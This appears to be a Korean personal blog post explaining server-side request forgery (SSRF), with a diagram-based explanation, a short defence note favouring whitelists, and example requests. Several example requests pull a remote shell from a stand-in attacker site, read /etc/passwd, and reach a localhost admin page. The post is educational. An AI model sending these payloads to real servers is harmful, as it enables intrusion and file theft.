[WEB] SSRF(Server Side Request Forgery)에 대해서

두비니

·

2021. 8. 9. 15:35

 

 


SSRF

Server Side Request Forgery


 

 

 

0. Background Knowledge

 

 

  SSRF 취약점이 기본적으로 서버가 request를 처리하면서 발생하는 취약점입니다. SSRF 취약점에 대해서 알아보기 전에, 기본적으로 서버가 request를 어떻게 처리하는지 알아보도록 합시다.

출처 : https://beaglesecurity.com/blog/article/server-side-request-forgery-attack.html

  잘 설명되어있는 그림이 없어서 아예 SSRF 사진을 들고와버렸는데, 어차피 설명하는 바와 적합해서 걍 이걸 쓰도록 하겠습니다. 아무튼 기본적으로 서비스는 누구나 접속할 수 있는 web server와, 인가된 소수의 인원들만 접속할 수 있는 DB server가 보통 구분되어있습니다. 위 그림에서 볼 수 있는 것처럼 외부인이 정보를 요구한다면 web server와 db server가 통신을 하여 그 결과, 즉 response를 사용자에게 다시 전달하는 방식으로 이루어집니다. 

  이때 SSRF취약점은 web server가 db server와 소통한다는 점에 초점을 둔 취약점입니다. 이 점을 기억하고 취약점을 알아봅시다.

 

 

1. 취약점 설명

 

 

  위에서 이야기한것처럼 서버 측에서 db쪽에 요청을 보내는 것을 위조하는 취약점입니다. 아래 사진을 보면서 예시를 들어보겠습니다.

출처 : https://beaglesecurity.com/blog/article/server-side-request-forgery-attack.html

  위에서도 사용한 사진인데, 이번에는 취약점을 중심적으로 확인해보도록 하겠습니다. 파란색 서버가 web server인 xyz.com이고, 빨간색 서버는 ip가 10.0.0.1인 db서버라고 합시다. 우리가 단순히 자신의 브라우저로 각각 xyz.com과 10.0.0.1에 접속하려고 한다면, xyz.com은 당연히 접근이 가능할 것이고, 10.0.0.1이라는 ip는 접근이 불가능할 것입니다. 10.0.0.1이라는 ip가 접근이 안되는 이유는 xyz.com의 내부망(intranet)에 연결되어있는 서버이기 때문입니다. 

  그러나 다음과 같은 링크를 보내면 내부망에 접속할 수 있습니다.

GET https://xyz.com/id?content=http://10.0.0.1/

  이런 식으로 요청을 보내면 xyz.com의 입장에서 10.0.0.1에 접근하는 것이기 때문에 외부의 사람도 내부망에 접근할 수 있게 되는 것입니다. 물론 단순하게 저렇게 보낸다고 해결이 되는 건 아니고 특정 디렉토리에 접근하거나, 쿼리문을 보내서 db의 내용을 빼오는 방식이겠죠?

 

 

2. SSRF로 가능한 공격 종류

 

 

  기본적으로 SSRF는 서버의 관점으로 보았을 때 할 수 있는 일들을 하게 되는 취약점입니다. 뭐 아래 이야기한 공격들 이외로도 있겠지만, 대표적인 몇 가지만 가지고 와봤습니다.

  

1) RFI

GET https://xyz.com/id?content=https://evilsite.com/shell.php

 

2) LFI

GET https://xyz.com/id?content=file:///etc/passwd

 

3) 비인가 접근

GET https://xyz.com/id?content=http://localhost/administrator

 

등등 이것보다 더 많겠지만 기본적으로 "서버의 입장"에서 "제시된 주소"로 접근한다는 개념만 알고 있으면 충분히 이해가 될 것 같네요.

 

 

 

3. 보호 기법

 

 

  기본적으로 비인가 접근이 가능하기 때문에 문제가 생기기 때문에, 과연 이 request가 실제로 web server가 보낸 요청인지 확인해야합니다. 이걸 구현하기 위해서는 블랙리스트를 통해서 구현할 수도 있겠지만, 블랙리스트는 현실적으로 한계가 있기 때문에, 화이트리스트로 필터링을 하는 것이 바람직합니다. 

 

 

4. 결론

 

 

  SSRF 취약점에 대해서 알아보았습니다. 사실 CSRF 취약점과 함께 다뤄지는 취약점이라 CSRF글을 쓰면서 SSRF도 써야지 생각만 하고 있었는데 이제야 쓰네요. 사실 급하게 쓴 글이라 보완을 해야하지만 미래의 제가 언젠가 할거라고 믿고 있습니다 ^-^

CSRF 글 : https://dokhakdubini.tistory.com/488?category=809032 

 

 

 

참고

 

 

https://beaglesecurity.com/blog/article/server-side-request-forgery-attack.html

 

 

 

 

 

 

0개의 댓글